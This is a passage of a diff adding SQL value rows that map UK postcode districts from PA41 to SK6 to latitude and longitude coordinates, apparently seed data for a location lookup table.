+('PA41', '', '', '55.674', '-5.742', 0, 1, 'uk'),
+('PA42', '', '', '55.64', '-6.186', 0, 1, 'uk'),
+('PA43', '', '', '55.756', '-6.283', 0, 1, 'uk'),
+('PA44', '', '', '55.798', '-6.292', 0, 1, 'uk'),
+('PA45', '', '', '55.82', '-6.166', 0, 1, 'uk'),
+('PA46', '', '', '55.862', '-6.119', 0, 1, 'uk'),
+('PA47', '', '', '55.682', '-6.503', 0, 1, 'uk'),
+('PA48', '', '', '55.738', '-6.384', 0, 1, 'uk'),
+('PA49', '', '', '55.782', '-6.394', 0, 1, 'uk'),
+('PA5', '', '', '55.831', '-4.509', 0, 1, 'uk'),
+('PA6', '', '', '55.864', '-4.534', 0, 1, 'uk'),
+('PA60', '', '', '55.88', '-5.913', 0, 1, 'uk'),
+('PA61', '', '', '56.072', '-6.202', 0, 1, 'uk'),
+('PA62', '', '', '56.359', '-5.85', 0, 1, 'uk'),
+('PA63', '', '', '56.382', '-5.715', 0, 1, 'uk'),
+('PA64', '', '', '56.439', '-5.675', 0, 1, 'uk'),
+('PA65', '', '', '56.469', '-5.728', 0, 1, 'uk'),
+('PA66', '', '', '56.329', '-6.354', 0, 1, 'uk'),
+('PA67', '', '', '56.314', '-6.232', 0, 1, 'uk'),
+('PA68', '', '', '56.437', '-6.141', 0, 1, 'uk'),
+('PA69', '', '', '56.38', '-6.088', 0, 1, 'uk'),
+('PA7', '', '', '55.909', '-4.5', 0, 1, 'uk'),
+('PA70', '', '', '56.364', '-6.033', 0, 1, 'uk'),
+('PA71', '', '', '56.481', '-5.98', 0, 1, 'uk'),
+('PA72', '', '', '56.518', '-5.964', 0, 1, 'uk'),
+('PA73', '', '', '56.497', '-6.183', 0, 1, 'uk'),
+('PA74', '', '', '56.533', '-6.229', 0, 1, 'uk'),
+('PA75', '', '', '56.612', '-6.123', 0, 1, 'uk'),
+('PA76', '', '', '56.334', '-6.394', 0, 1, 'uk'),
+('PA77', '', '', '56.494', '-6.884', 0, 1, 'uk'),
+('PA78', '', '', '56.625', '-6.545', 0, 1, 'uk'),
+('PA8', '', '', '55.901', '-4.452', 0, 1, 'uk'),
+('PA80', '', '', '56.954376', '-7.486023', 0, 1, 'uk'),
+('PA81', '', '', '57.159642', '-7.321168', 0, 1, 'uk'),
+('PA82', '', '', '57.603448', '-7.162478', 0, 1, 'uk'),
+('PA9', '', '', '55.81', '-4.552', 0, 1, 'uk'),
+('PE1', '', '', '52.587', '-0.238', 0, 1, 'uk'),
+('PE10', '', '', '52.777', '-0.376', 0, 1, 'uk'),
+('PE11', '', '', '52.807', '-0.166', 0, 1, 'uk'),
+('PE12', '', '', '52.784', '0.029', 0, 1, 'uk'),
+('PE13', '', '', '52.669', '0.139', 0, 1, 'uk'),
+('PE14', '', '', '52.639', '0.211', 0, 1, 'uk'),
+('PE15', '', '', '52.536', '0.087', 0, 1, 'uk'),
+('PE16', '', '', '52.454', '0.05', 0, 1, 'uk'),
+('PE17', '', '', '52.385017', '-0.003028', 0, 1, 'uk'),
+('PE18', '', '', '52.320399', '-0.222161', 0, 1, 'uk'),
+('PE19', '', '', '52.242', '-0.258', 0, 1, 'uk'),
+('PE2', '', '', '52.561', '-0.263', 0, 1, 'uk'),
+('PE20', '', '', '52.932', '-0.102', 0, 1, 'uk'),
+('PE21', '', '', '52.975', '-0.021', 0, 1, 'uk'),
+('PE22', '', '', '53.048', '0.045', 0, 1, 'uk'),
+('PE23', '', '', '53.173', '0.091', 0, 1, 'uk'),
+('PE24', '', '', '53.165', '0.268', 0, 1, 'uk'),
+('PE25', '', '', '53.153', '0.337', 0, 1, 'uk'),
+('PE26', '', '', '52.453', '-0.113', 0, 1, 'uk'),
+('PE27', '', '', '52.334', '-0.076', 0, 1, 'uk'),
+('PE28', '', '', '52.358', '-0.186', 0, 1, 'uk'),
+('PE29', '', '', '52.334', '-0.178', 0, 1, 'uk'),
+('PE3', '', '', '52.587', '-0.275', 0, 1, 'uk'),
+('PE30', '', '', '52.759', '0.418', 0, 1, 'uk'),
+('PE31', '', '', '52.876', '0.567', 0, 1, 'uk'),
+('PE32', '', '', '52.73', '0.628', 0, 1, 'uk'),
+('PE33', '', '', '52.649', '0.469', 0, 1, 'uk'),
+('PE34', '', '', '52.724', '0.34', 0, 1, 'uk'),
+('PE35', '', '', '52.825', '0.512', 0, 1, 'uk'),
+('PE36', '', '', '52.936', '0.508', 0, 1, 'uk'),
+('PE37', '', '', '52.644', '0.693', 0, 1, 'uk'),
+('PE38', '', '', '52.589', '0.377', 0, 1, 'uk'),
+('PE39', '', '', '52.527768', '0.397726', 0, 1, 'uk'),
+('PE4', '', '', '52.612', '-0.266', 0, 1, 'uk'),
+('PE5', '', '', '52.579', '-0.344', 0, 1, 'uk'),
+('PE6', '', '', '52.656', '-0.255', 0, 1, 'uk'),
+('PE7', '', '', '52.538', '-0.198', 0, 1, 'uk'),
+('PE8', '', '', '52.527', '-0.442', 0, 1, 'uk'),
+('PE9', '', '', '52.654', '-0.48', 0, 1, 'uk'),
+('PH1', '', '', '56.421', '-3.475', 0, 1, 'uk'),
+('PH10', '', '', '56.609', '-3.36', 0, 1, 'uk'),
+('PH11', '', '', '56.639', '-3.234', 0, 1, 'uk'),
+('PH12', '', '', '56.576', '-3.152', 0, 1, 'uk'),
+('PH13', '', '', '56.537', '-3.274', 0, 1, 'uk'),
+('PH14', '', '', '56.453', '-3.186', 0, 1, 'uk'),
+('PH15', '', '', '56.61', '-3.941', 0, 1, 'uk'),
+('PH16', '', '', '56.707', '-3.809', 0, 1, 'uk'),
+('PH17', '', '', '56.688', '-4.382', 0, 1, 'uk'),
+('PH18', '', '', '56.774', '-3.889', 0, 1, 'uk'),
+('PH19', '', '', '56.935', '-4.255', 0, 1, 'uk'),
+('PH2', '', '', '56.387', '-3.404', 0, 1, 'uk'),
+('PH20', '', '', '57.054', '-4.155', 0, 1, 'uk'),
+('PH21', '', '', '57.089', '-4.022', 0, 1, 'uk'),
+('PH22', '', '', '57.198', '-3.806', 0, 1, 'uk'),
+('PH23', '', '', '57.287', '-3.801', 0, 1, 'uk'),
+('PH24', '', '', '57.254', '-3.748', 0, 1, 'uk'),
+('PH25', '', '', '57.262', '-3.647', 0, 1, 'uk'),
+('PH26', '', '', '57.33', '-3.605', 0, 1, 'uk'),
+('PH3', '', '', '56.302', '-3.704', 0, 1, 'uk'),
+('PH30', '', '', '56.792', '-4.6', 0, 1, 'uk'),
+('PH31', '', '', '56.892', '-4.816', 0, 1, 'uk'),
+('PH32', '', '', '57.145', '-4.683', 0, 1, 'uk'),
+('PH33', '', '', '56.822', '-5.112', 0, 1, 'uk'),
+('PH34', '', '', '56.926', '-4.926', 0, 1, 'uk'),
+('PH35', '', '', '57.076', '-4.93', 0, 1, 'uk'),
+('PH36', '', '', '56.721', '-5.866', 0, 1, 'uk'),
+('PH37', '', '', '56.872395', '-5.449192', 0, 1, 'uk'),
+('PH38', '', '', '56.845', '-5.747', 0, 1, 'uk'),
+('PH39', '', '', '56.913', '-5.841', 0, 1, 'uk'),
+('PH4', '', '', '56.261', '-3.783', 0, 1, 'uk'),
+('PH40', '', '', '56.964', '-5.786', 0, 1, 'uk'),
+('PH41', '', '', '57.004', '-5.832', 0, 1, 'uk'),
+('PH42', '', '', '56.902', '-6.142', 0, 1, 'uk'),
+('PH43', '', '', '57.016', '-6.28', 0, 1, 'uk'),
+('PH44', '', '', '57.057', '-6.503', 0, 1, 'uk'),
+('PH49', '', '', '56.675', '-5.11', 0, 1, 'uk'),
+('PH5', '', '', '56.329', '-3.828', 0, 1, 'uk'),
+('PH50', '', '', '56.714', '-4.964', 0, 1, 'uk'),
+('PH6', '', '', '56.372', '-3.995', 0, 1, 'uk'),
+('PH7', '', '', '56.373', '-3.826', 0, 1, 'uk'),
+('PH8', '', '', '56.562', '-3.598', 0, 1, 'uk'),
+('PH9', '', '', '56.651', '-3.691', 0, 1, 'uk'),
+('PL1', '', '', '50.371', '-4.153', 0, 1, 'uk'),
+('PL10', '', '', '50.345', '-4.211', 0, 1, 'uk'),
+('PL11', '', '', '50.373', '-4.25', 0, 1, 'uk'),
+('PL12', '', '', '50.419', '-4.248', 0, 1, 'uk'),
+('PL13', '', '', '50.357', '-4.475', 0, 1, 'uk'),
+('PL14', '', '', '50.463', '-4.465', 0, 1, 'uk'),
+('PL15', '', '', '50.632', '-4.399', 0, 1, 'uk'),
+('PL16', '', '', '50.646', '-4.267', 0, 1, 'uk'),
+('PL17', '', '', '50.516', '-4.305', 0, 1, 'uk'),
+('PL18', '', '', '50.515', '-4.219', 0, 1, 'uk'),
+('PL19', '', '', '50.556', '-4.154', 0, 1, 'uk'),
+('PL2', '', '', '50.389', '-4.162', 0, 1, 'uk'),
+('PL20', '', '', '50.501', '-4.1', 0, 1, 'uk'),
+('PL21', '', '', '50.385', '-3.918', 0, 1, 'uk'),
+('PL22', '', '', '50.403', '-4.651', 0, 1, 'uk'),
+('PL23', '', '', '50.337', '-4.635', 0, 1, 'uk'),
+('PL24', '', '', '50.355', '-4.71', 0, 1, 'uk'),
+('PL25', '', '', '50.341', '-4.778', 0, 1, 'uk'),
+('PL26', '', '', '50.342', '-4.825', 0, 1, 'uk'),
+('PL27', '', '', '50.522', '-4.874', 0, 1, 'uk'),
+('PL28', '', '', '50.533', '-4.966', 0, 1, 'uk'),
+('PL29', '', '', '50.585', '-4.829', 0, 1, 'uk'),
+('PL3', '', '', '50.387', '-4.125', 0, 1, 'uk'),
+('PL30', '', '', '50.5', '-4.728', 0, 1, 'uk'),
+('PL31', '', '', '50.469', '-4.721', 0, 1, 'uk'),
+('PL32', '', '', '50.633', '-4.66', 0, 1, 'uk'),
+('PL33', '', '', '50.621', '-4.731', 0, 1, 'uk'),
+('PL34', '', '', '50.659', '-4.742', 0, 1, 'uk'),
+('PL35', '', '', '50.684', '-4.684', 0, 1, 'uk'),
+('PL3O', '', '', '50.430824', '-4.696304', 0, 1, 'uk'),
+('PL4', '', '', '50.375', '-4.128', 0, 1, 'uk'),
+('PL5', '', '', '50.41', '-4.166', 0, 1, 'uk'),
+('PL6', '', '', '50.418', '-4.116', 0, 1, 'uk'),
+('PL7', '', '', '50.392', '-4.045', 0, 1, 'uk'),
+('PL8', '', '', '50.335', '-4.012', 0, 1, 'uk'),
+('PL9', '', '', '50.354', '-4.088', 0, 1, 'uk'),
+('PO1', '', '', '50.799', '-1.088', 0, 1, 'uk'),
+('PO10', '', '', '50.851', '-0.929', 0, 1, 'uk'),
+('PO11', '', '', '50.791', '-0.975', 0, 1, 'uk'),
+('PO12', '', '', '50.797', '-1.141', 0, 1, 'uk'),
+('PO13', '', '', '50.812', '-1.177', 0, 1, 'uk'),
+('PO14', '', '', '50.837', '-1.218', 0, 1, 'uk'),
+('PO15', '', '', '50.862', '-1.219', 0, 1, 'uk'),
+('PO16', '', '', '50.85', '-1.159', 0, 1, 'uk'),
+('PO17', '', '', '50.889', '-1.169', 0, 1, 'uk'),
+('PO18', '', '', '50.864', '-0.814', 0, 1, 'uk'),
+('PO19', '', '', '50.837', '-0.777', 0, 1, 'uk'),
+('PO1O', '', '', '50.844491', '-0.927811', 0, 1, 'uk'),
+('PO2', '', '', '50.816', '-1.077', 0, 1, 'uk'),
+('PO20', '', '', '50.783', '-0.786', 0, 1, 'uk'),
+('PO21', '', '', '50.784', '-0.696', 0, 1, 'uk'),
+('PO22', '', '', '50.798', '-0.648', 0, 1, 'uk'),
+('PO3', '', '', '50.816', '-1.059', 0, 1, 'uk'),
+('PO30', '', '', '50.691', '-1.313', 0, 1, 'uk'),
+('PO31', '', '', '50.753', '-1.306', 0, 1, 'uk'),
+('PO32', '', '', '50.75', '-1.28', 0, 1, 'uk'),
+('PO33', '', '', '50.721', '-1.169', 0, 1, 'uk'),
+('PO34', '', '', '50.716', '-1.112', 0, 1, 'uk'),
+('PO35', '', '', '50.686', '-1.084', 0, 1, 'uk'),
+('PO36', '', '', '50.658', '-1.162', 0, 1, 'uk'),
+('PO37', '', '', '50.632', '-1.177', 0, 1, 'uk'),
+('PO38', '', '', '50.604', '-1.241', 0, 1, 'uk'),
+('PO39', '', '', '50.68', '-1.538', 0, 1, 'uk'),
+('PO4', '', '', '50.79', '-1.062', 0, 1, 'uk'),
+('PO40', '', '', '50.682', '-1.52', 0, 1, 'uk'),
+('PO41', '', '', '50.699', '-1.477', 0, 1, 'uk'),
+('PO5', '', '', '50.789', '-1.085', 0, 1, 'uk'),
+('PO6', '', '', '50.846', '-1.069', 0, 1, 'uk'),
+('PO7', '', '', '50.882', '-1.038', 0, 1, 'uk'),
+('PO8', '', '', '50.911', '-1.012', 0, 1, 'uk'),
+('PO9', '', '', '50.863', '-0.982', 0, 1, 'uk'),
+('PR1', '', '', '53.757', '-2.701', 0, 1, 'uk'),
+('PR2', '', '', '53.778', '-2.708', 0, 1, 'uk'),
+('PR25', '', '', '53.694', '-2.693', 0, 1, 'uk'),
+('PR26', '', '', '53.687', '-2.74', 0, 1, 'uk'),
+('PR3', '', '', '53.869', '-2.716', 0, 1, 'uk'),
+('PR4', '', '', '53.754', '-2.833', 0, 1, 'uk'),
+('PR5', '', '', '53.731', '-2.656', 0, 1, 'uk'),
+('PR6', '', '', '53.667', '-2.609', 0, 1, 'uk'),
+('PR7', '', '', '53.645', '-2.652', 0, 1, 'uk'),
+('PR8', '', '', '53.626', '-3.01', 0, 1, 'uk'),
+('PR9', '', '', '53.66', '-2.968', 0, 1, 'uk'),
+('PR98', '', '', '53.678584', '-2.923502', 0, 1, 'uk'),
+('RG1', '', '', '51.454', '-0.969', 0, 1, 'uk'),
+('RG10', '', '', '51.48', '-0.862', 0, 1, 'uk'),
+('RG11', '', '', '51.405487', '-0.846081', 0, 1, 'uk'),
+('RG12', '', '', '51.407', '-0.749', 0, 1, 'uk'),
+('RG13', '', '', '51.408329', '-1.295515', 0, 1, 'uk'),
+('RG14', '', '', '51.399', '-1.322', 0, 1, 'uk'),
+('RG16', '', '', '51.449824', '-1.311736', 0, 1, 'uk'),
+('RG17', '', '', '51.44', '-1.488', 0, 1, 'uk'),
+('RG18', '', '', '51.433', '-1.242', 0, 1, 'uk'),
+('RG19', '', '', '51.394', '-1.241', 0, 1, 'uk'),
+('RG2', '', '', '51.427', '-0.955', 0, 1, 'uk'),
+('RG20', '', '', '51.403', '-1.335', 0, 1, 'uk'),
+('RG21', '', '', '51.266', '-1.089', 0, 1, 'uk'),
+('RG22', '', '', '51.25', '-1.122', 0, 1, 'uk'),
+('RG23', '', '', '51.26', '-1.146', 0, 1, 'uk'),
+('RG24', '', '', '51.281', '-1.071', 0, 1, 'uk'),
+('RG25', '', '', '51.228', '-1.162', 0, 1, 'uk'),
+('RG26', '', '', '51.35', '-1.119', 0, 1, 'uk'),
+('RG27', '', '', '51.3', '-0.941', 0, 1, 'uk'),
+('RG28', '', '', '51.234', '-1.334', 0, 1, 'uk'),
+('RG29', '', '', '51.247', '-0.946', 0, 1, 'uk'),
+('RG3', '', '', '51.455313', '-0.99163', 0, 1, 'uk'),
+('RG30', '', '', '51.451', '-1.012', 0, 1, 'uk'),
+('RG31', '', '', '51.456', '-1.041', 0, 1, 'uk'),
+('RG4', '', '', '51.48', '-0.968', 0, 1, 'uk'),
+('RG40', '', '', '51.399', '-0.835', 0, 1, 'uk'),
+('RG41', '', '', '51.415', '-0.857', 0, 1, 'uk'),
+('RG42', '', '', '51.427', '-0.754', 0, 1, 'uk'),
+('RG45', '', '', '51.375', '-0.8', 0, 1, 'uk'),
+('RG5', '', '', '51.452', '-0.906', 0, 1, 'uk'),
+('RG54', '', '', '51.450141', '-0.904247', 0, 1, 'uk'),
+('RG6', '', '', '51.439', '-0.931', 0, 1, 'uk'),
+('RG7', '', '', '51.398', '-1.077', 0, 1, 'uk'),
+('RG8', '', '', '51.505', '-1.105', 0, 1, 'uk'),
+('RG9', '', '', '51.544', '-0.922', 0, 1, 'uk'),
+('RG91', '', '', '51.529774', '-0.904412', 0, 1, 'uk'),
+('RG92', '', '', '51.417732', '-1.004882', 0, 1, 'uk'),
+('RH1', '', '', '51.237', '-0.157', 0, 1, 'uk'),
+('RH10', '', '', '51.117', '-0.157', 0, 1, 'uk'),
+('RH11', '', '', '51.111', '-0.205', 0, 1, 'uk'),
+('RH12', '', '', '51.076', '-0.333', 0, 1, 'uk'),
+('RH13', '', '', '51.037', '-0.325', 0, 1, 'uk'),
+('RH14', '', '', '51.032', '-0.483', 0, 1, 'uk'),
+('RH15', '', '', '50.957', '-0.133', 0, 1, 'uk'),
+('RH16', '', '', '51.002', '-0.097', 0, 1, 'uk'),
+('RH17', '', '', '51.021', '-0.115', 0, 1, 'uk'),
+('RH18', '', '', '51.097', '0.031', 0, 1, 'uk'),
+('RH19', '', '', '51.125', '-0.012', 0, 1, 'uk'),
+('RH2', '', '', '51.235', '-0.202', 0, 1, 'uk'),
+('RH20', '', '', '50.937', '-0.47', 0, 1, 'uk'),
+('RH3', '', '', '51.232', '-0.279', 0, 1, 'uk'),
+('RH4', '', '', '51.229', '-0.334', 0, 1, 'uk'),
+('RH5', '', '', '51.194', '-0.341', 0, 1, 'uk'),
+('RH6', '', '', '51.171', '-0.162', 0, 1, 'uk'),
+('RH7', '', '', '51.174', '-0.016', 0, 1, 'uk'),
+('RH8', '', '', '51.251', '0.003', 0, 1, 'uk'),
+('RH9', '', '', '51.236', '-0.068', 0, 1, 'uk'),
+('RM1', '', '', '51.581', '0.184', 0, 1, 'uk'),
+('RM10', '', '', '51.545', '0.159', 0, 1, 'uk'),
+('RM11', '', '', '51.57', '0.22', 0, 1, 'uk'),
+('RM12', '', '', '51.553', '0.209', 0, 1, 'uk'),
+('RM13', '', '', '51.524', '0.195', 0, 1, 'uk'),
+('RM14', '', '', '51.556', '0.264', 0, 1, 'uk'),
+('RM15', '', '', '51.508', '0.278', 0, 1, 'uk'),
+('RM16', '', '', '51.492', '0.341', 0, 1, 'uk'),
+('RM17', '', '', '51.479', '0.33', 0, 1, 'uk'),
+('RM18', '', '', '51.467', '0.377', 0, 1, 'uk'),
+('RM19', '', '', '51.482', '0.249', 0, 1, 'uk'),
+('RM2', '', '', '51.583', '0.202', 0, 1, 'uk'),
+('RM20', '', '', '51.478', '0.289', 0, 1, 'uk'),
+('RM3', '', '', '51.602', '0.226', 0, 1, 'uk'),
+('RM4', '', '', '51.633', '0.16', 0, 1, 'uk'),
+('RM5', '', '', '51.599', '0.167', 0, 1, 'uk'),
+('RM6', '', '', '51.575', '0.133', 0, 1, 'uk'),
+('RM7', '', '', '51.574', '0.17', 0, 1, 'uk'),
+('RM8', '', '', '51.556', '0.132', 0, 1, 'uk'),
+('RM9', '', '', '51.54', '0.136', 0, 1, 'uk'),
+('S02', '', '', '50.944133', '-1.400936', 0, 1, 'uk'),
+('S05', '', '', '50.973919', '-1.408643', 0, 1, 'uk'),
+('S1', '', '', '53.38', '-1.468', 0, 1, 'uk'),
+('S10', '', '', '53.377', '-1.517', 0, 1, 'uk'),
+('S11', '', '', '53.361', '-1.506', 0, 1, 'uk'),
+('S12', '', '', '53.348', '-1.405', 0, 1, 'uk'),
+('S13', '', '', '53.364', '-1.383', 0, 1, 'uk'),
+('S14', '', '', '53.346', '-1.443', 0, 1, 'uk'),
+('S17', '', '', '53.321', '-1.526', 0, 1, 'uk'),
+('S18', '', '', '53.299', '-1.472', 0, 1, 'uk'),
+('S2', '', '', '53.37', '-1.446', 0, 1, 'uk'),
+('S20', '', '', '53.335', '-1.35', 0, 1, 'uk'),
+('S21', '', '', '53.312', '-1.339', 0, 1, 'uk'),
+('S25', '', '', '53.369', '-1.214', 0, 1, 'uk'),
+('S26', '', '', '53.357', '-1.287', 0, 1, 'uk'),
+('S3', '', '', '53.387', '-1.472', 0, 1, 'uk'),
+('S30', '', '', '53.412234', '-1.831287', 0, 1, 'uk'),
+('S31', '', '', '53.338184', '-1.25374', 0, 1, 'uk'),
+('S32', '', '', '53.295', '-1.638', 0, 1, 'uk'),
+('S33', '', '', '53.341', '-1.721', 0, 1, 'uk'),
+('S35', '', '', '53.457', '-1.495', 0, 1, 'uk'),
+('S36', '', '', '53.503', '-1.613', 0, 1, 'uk'),
+('S4', '', '', '53.399', '-1.45', 0, 1, 'uk'),
+('S40', '', '', '53.234', '-1.446', 0, 1, 'uk'),
+('S41', '', '', '53.247', '-1.427', 0, 1, 'uk'),
+('S42', '', '', '53.201', '-1.422', 0, 1, 'uk'),
+('S43', '', '', '53.267', '-1.342', 0, 1, 'uk'),
+('S44', '', '', '53.225', '-1.313', 0, 1, 'uk'),
+('S45', '', '', '53.166', '-1.421', 0, 1, 'uk'),
+('S5', '', '', '53.422', '-1.462', 0, 1, 'uk'),
+('S6', '', '', '53.402', '-1.51', 0, 1, 'uk'),
+('S60', '', '', '53.414', '-1.348', 0, 1, 'uk'),
+('S61', '', '', '53.443', '-1.393', 0, 1, 'uk'),
+('S62', '', '', '53.465', '-1.347', 0, 1, 'uk'),
+('S63', '', '', '53.518', '-1.329', 0, 1, 'uk'),
+('S64', '', '', '53.491', '-1.298', 0, 1, 'uk'),
+('S65', '', '', '53.436', '-1.32', 0, 1, 'uk'),
+('S66', '', '', '53.42', '-1.242', 0, 1, 'uk'),
+('S7', '', '', '53.354', '-1.489', 0, 1, 'uk'),
+('S70', '', '', '53.541', '-1.473', 0, 1, 'uk'),
+('S71', '', '', '53.573', '-1.456', 0, 1, 'uk'),
+('S72', '', '', '53.578', '-1.391', 0, 1, 'uk'),
+('S73', '', '', '53.524', '-1.393', 0, 1, 'uk'),
+('S74', '', '', '53.501', '-1.439', 0, 1, 'uk'),
+('S75', '', '', '53.562', '-1.519', 0, 1, 'uk'),
+('S8', '', '', '53.34', '-1.476', 0, 1, 'uk'),
+('S80', '', '', '53.292', '-1.15', 0, 1, 'uk'),
+('S81', '', '', '53.338', '-1.122', 0, 1, 'uk'),
+('S9', '', '', '53.398', '-1.417', 0, 1, 'uk'),
+('SA1', '', '', '51.627', '-3.939', 0, 1, 'uk'),
+('SA10', '', '', '51.687', '-3.799', 0, 1, 'uk'),
+('SA11', '', '', '51.674', '-3.761', 0, 1, 'uk'),
+('SA12', '', '', '51.607', '-3.794', 0, 1, 'uk'),
+('SA13', '', '', '51.606', '-3.725', 0, 1, 'uk'),
+('SA14', '', '', '51.733', '-4.107', 0, 1, 'uk'),
+('SA15', '', '', '51.7', '-4.167', 0, 1, 'uk'),
+('SA16', '', '', '51.689', '-4.255', 0, 1, 'uk'),
+('SA17', '', '', '51.758', '-4.286', 0, 1, 'uk'),
+('SA18', '', '', '51.798', '-3.958', 0, 1, 'uk'),
+('SA19', '', '', '51.952', '-3.948', 0, 1, 'uk'),
+('SA2', '', '', '51.62', '-3.994', 0, 1, 'uk'),
+('SA20', '', '', '52.01', '-3.786', 0, 1, 'uk'),
+('SA3', '', '', '51.58', '-4.051', 0, 1, 'uk'),
+('SA31', '', '', '51.856', '-4.307', 0, 1, 'uk'),
+('SA32', '', '', '51.886', '-4.171', 0, 1, 'uk'),
+('SA33', '', '', '51.85', '-4.436', 0, 1, 'uk'),
+('SA34', '', '', '51.853', '-4.619', 0, 1, 'uk'),
+('SA35', '', '', '51.973', '-4.56', 0, 1, 'uk'),
+('SA36', '', '', '51.958', '-4.607', 0, 1, 'uk'),
+('SA37', '', '', '52.017', '-4.592', 0, 1, 'uk'),
+('SA38', '', '', '52.04', '-4.474', 0, 1, 'uk'),
+('SA39', '', '', '52.02', '-4.241', 0, 1, 'uk'),
+('SA4', '', '', '51.671', '-4.048', 0, 1, 'uk'),
+('SA40', '', '', '52.084', '-4.174', 0, 1, 'uk'),
+('SA41', '', '', '51.997', '-4.706', 0, 1, 'uk'),
+('SA42', '', '', '52.015', '-4.852', 0, 1, 'uk'),
+('SA43', '', '', '52.086', '-4.629', 0, 1, 'uk'),
+('SA44', '', '', '52.086', '-4.371', 0, 1, 'uk'),
+('SA45', '', '', '52.208', '-4.358', 0, 1, 'uk'),
+('SA46', '', '', '52.233', '-4.249', 0, 1, 'uk'),
+('SA47', '', '', '52.191', '-4.295', 0, 1, 'uk'),
+('SA48', '', '', '52.144', '-4.111', 0, 1, 'uk'),
+('SA5', '', '', '51.649', '-3.969', 0, 1, 'uk'),
+('SA6', '', '', '51.675', '-3.921', 0, 1, 'uk'),
+('SA61', '', '', '51.8', '-4.973', 0, 1, 'uk'),
+('SA62', '', '', '51.841', '-5.063', 0, 1, 'uk'),
+('SA63', '', '', '51.874', '-4.854', 0, 1, 'uk'),
+('SA64', '', '', '52.001', '-5.011', 0, 1, 'uk'),
+('SA65', '', '', '51.988', '-4.968', 0, 1, 'uk'),
+('SA66', '', '', '51.881', '-4.744', 0, 1, 'uk'),
+('SA67', '', '', '51.782', '-4.732', 0, 1, 'uk'),
+('SA68', '', '', '51.729', '-4.767', 0, 1, 'uk'),
+('SA69', '', '', '51.71', '-4.705', 0, 1, 'uk'),
+('SA7', '', '', '51.662', '-3.89', 0, 1, 'uk'),
+('SA70', '', '', '51.672', '-4.738', 0, 1, 'uk'),
+('SA71', '', '', '51.667', '-4.929', 0, 1, 'uk'),
+('SA72', '', '', '51.692', '-4.934', 0, 1, 'uk'),
+('SA73', '', '', '51.717', '-5.012', 0, 1, 'uk'),
+('SA8', '', '', '51.721', '-3.847', 0, 1, 'uk'),
+('SA9', '', '', '51.781', '-3.767', 0, 1, 'uk'),
+('SE1', '', '', '51.498', '-0.089', 0, 1, 'uk'),
+('SE10', '', '', '51.481', '-0.001', 0, 1, 'uk'),
+('SE11', '', '', '51.489', '-0.109', 0, 1, 'uk'),
+('SE12', '', '', '51.445', '0.025', 0, 1, 'uk'),
+('SE13', '', '', '51.459', '-0.008', 0, 1, 'uk'),
+('SE14', '', '', '51.475', '-0.041', 0, 1, 'uk'),
+('SE15', '', '', '51.472', '-0.064', 0, 1, 'uk'),
+('SE16', '', '', '51.496', '-0.052', 0, 1, 'uk'),
+('SE17', '', '', '51.488', '-0.092', 0, 1, 'uk'),
+('SE18', '', '', '51.484', '0.074', 0, 1, 'uk'),
+('SE19', '', '', '51.418', '-0.084', 0, 1, 'uk'),
+('SE2', '', '', '51.489', '0.117', 0, 1, 'uk'),
+('SE20', '', '', '51.412', '-0.057', 0, 1, 'uk'),
+('SE21', '', '', '51.438', '-0.087', 0, 1, 'uk'),
+('SE22', '', '', '51.454', '-0.071', 0, 1, 'uk'),
+('SE23', '', '', '51.44', '-0.048', 0, 1, 'uk'),
+('SE24', '', '', '51.454', '-0.099', 0, 1, 'uk'),
+('SE25', '', '', '51.397', '-0.075', 0, 1, 'uk'),
+('SE26', '', '', '51.427', '-0.053', 0, 1, 'uk'),
+('SE27', '', '', '51.43', '-0.1', 0, 1, 'uk'),
+('SE28', '', '', '51.502', '0.109', 0, 1, 'uk'),
+('SE3', '', '', '51.469', '0.02', 0, 1, 'uk'),
+('SE4', '', '', '51.461', '-0.033', 0, 1, 'uk'),
+('SE5', '', '', '51.473', '-0.091', 0, 1, 'uk'),
+('SE6', '', '', '51.438', '-0.015', 0, 1, 'uk'),
+('SE7', '', '', '51.484', '0.036', 0, 1, 'uk'),
+('SE8', '', '', '51.481', '-0.028', 0, 1, 'uk'),
+('SE9', '', '', '51.445', '0.057', 0, 1, 'uk'),
+('SG1', '', '', '51.911', '-0.195', 0, 1, 'uk'),
+('SG10', '', '', '51.845', '0.072', 0, 1, 'uk'),
+('SG11', '', '', '51.881', '0.032', 0, 1, 'uk'),
+('SG12', '', '', '51.813', '-0.016', 0, 1, 'uk'),
+('SG13', '', '', '51.787', '-0.069', 0, 1, 'uk'),
+('SG14', '', '', '51.807', '-0.091', 0, 1, 'uk'),
+('SG15', '', '', '52.013', '-0.262', 0, 1, 'uk'),
+('SG16', '', '', '52.015', '-0.296', 0, 1, 'uk'),
+('SG17', '', '', '52.034', '-0.33', 0, 1, 'uk'),
+('SG18', '', '', '52.082', '-0.266', 0, 1, 'uk'),
+('SG19', '', '', '52.139', '-0.241', 0, 1, 'uk'),
+('SG2', '', '', '51.896', '-0.165', 0, 1, 'uk'),
+('SG3', '', '', '51.86', '-0.181', 0, 1, 'uk'),
+('SG4', '', '', '51.921', '-0.259', 0, 1, 'uk'),
+('SG5', '', '', '51.967', '-0.286', 0, 1, 'uk'),
+('SG6', '', '', '51.979', '-0.221', 0, 1, 'uk'),
+('SG7', '', '', '52.004', '-0.174', 0, 1, 'uk'),
+('SG8', '', '', '52.064', '-0.014', 0, 1, 'uk'),
+('SG9', '', '', '51.946', '-0.007', 0, 1, 'uk'),
+('SK1', '', '', '53.408', '-2.15', 0, 1, 'uk'),
+('SK10', '', '', '53.278', '-2.129', 0, 1, 'uk'),
+('SK11', '', '', '53.247', '-2.143', 0, 1, 'uk'),
+('SK12', '', '', '53.351', '-2.091', 0, 1, 'uk'),
+('SK13', '', '', '53.448', '-1.963', 0, 1, 'uk'),
+('SK14', '', '', '53.451', '-2.055', 0, 1, 'uk'),
+('SK15', '', '', '53.486', '-2.046', 0, 1, 'uk'),
+('SK16', '', '', '53.474', '-2.082', 0, 1, 'uk'),
+('SK17', '', '', '53.244', '-1.879', 0, 1, 'uk'),
+('SK2', '', '', '53.394', '-2.132', 0, 1, 'uk'),
+('SK22', '', '', '53.373', '-1.985', 0, 1, 'uk'),
+('SK23', '', '', '53.328', '-1.949', 0, 1, 'uk'),
+('SK3', '', '', '53.398', '-2.17', 0, 1, 'uk'),
+('SK4', '', '', '53.419', '-2.179', 0, 1, 'uk'),
+('SK43', '', '', '53.418512', '-2.200317', 0, 1, 'uk'),
+('SK5', '', '', '53.434', '-2.152', 0, 1, 'uk'),
+('SK6', '', '', '53.405', '-2.08', 0, 1, 'uk'),
